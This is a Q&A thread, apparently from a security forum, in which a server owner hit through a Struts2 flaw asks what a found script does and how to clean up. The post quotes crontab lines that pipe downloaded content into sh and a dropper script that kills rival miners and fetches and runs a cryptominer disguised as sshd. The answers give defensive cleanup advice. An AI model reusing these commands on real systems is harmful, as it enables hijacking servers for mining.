Can someone help understand what exactly is being done through this attack. I was using Struts2.3 in Jboss5 environment. I had some crontabs installed, which went missing instead these two lines are seen in crontab.

#*/20 * * * * wget -O - -q|sh
#*/19 * * * * curl|sh

Below is the script found in the logo.jpg file which is got through 'wget' from

rm -rf /var/tmp/jmpmxfyhiz.conf
ps auxf|grep -v grep|grep -v xxtyligbex|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "jmpmxfyhiz"|awk '{print $2}'|xargs kill -9
ps -fe|grep -e "xxtyligbex" -e "tmbllmjcex" -e "pclfzagbkh" -e "dqpuewpvxz" -e "gzvcdujihq" -e "bevgesdhbs"|grep -v grep
if [ $? -ne 0 ]
echo "start process....."
chmod 777 /var/tmp/xxtyligbex.conf
rm -rf /var/tmp/xxtyligbex.conf
curl -o /var/tmp/xxtyligbex.conf
wget -O /var/tmp/xxtyligbex.conf
chmod 777 /var/tmp/sshd
rm -rf /var/tmp/sshd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
curl -o /var/tmp/sshd
wget -O /var/tmp/sshd
curl -o /var/tmp/sshd
wget -O /var/tmp/sshd
chmod +x /var/tmp/sshd
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
sysctl -w vm.nr_hugepages=`$num`
nohup ./sshd -c xxtyligbex.conf -t `echo $cores` >/dev/null &
nohup ./sshd -c xxtyligbex.conf -t `echo $cores` >/dev/null &
echo "runing....."

Kindly help me to understand what is being done through this. Also help me remove the possibility of any malware being installed in my server. To cover the vulnerability I have moved my projects to Struts 2.5. Still the crontab keeps coming back even if I remove them.

  • We cannot tell you how you were breached from the contents of a script you got after the breach
    – schroeder
    Jun 27, 2017 at 10:07
  • To avoid the crontab, you can include the user in /etc/cron.d/cron.deny Jun 28, 2017 at 14:59
  • @MiguelLopez Insufficient. The struts2 vulnerability exposes the shell for command injection. A better safeguard would be to change the shell to /sbin/nologin.
    – kubanczyk
    Jul 24, 2017 at 16:07

2 Answers 2


The descibed actions install a "kworker" tool on your server, which seems to be a bitcoin miner, according to Virustotal.

Since the records appear in /etc/crontab file, most likely you have installed a package with tojan on your system.

To solve this issue, I would recommend reinstalling OS on your server, as the box has been already owned by attackers and they might have installed other malware as well.

  • Reinstalling OS is not a option possible for me, any other work around? Jun 28, 2017 at 9:07
  • You will need to identify this malware on your server and remove it along with any other possible backdoors. You can try using antivirus for that, but it does not guarantee that you will find and clean everything. Jun 28, 2017 at 10:16

I have recently seen a similar attack. Here's what to do:

Find the web-shell... it is most likely one of those: https://github.com/tennc/webshell/tree/master/php/wso so a command like 'find / -iname "wso.php" -type f' should help you finding it. Also there should be an index.html and an up-loader called "ajis.phtml" or similar in that directory. Remove those files. Remove files in "/var/tmp" that is where the malicious sshd file and the config for the mining pool lies. Update Struts, reboot and that's it...

obviously remove the cronjobs...


  • Did not find the mentioned files using the find command. /var/tmp also is empty Jun 28, 2017 at 9:06

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .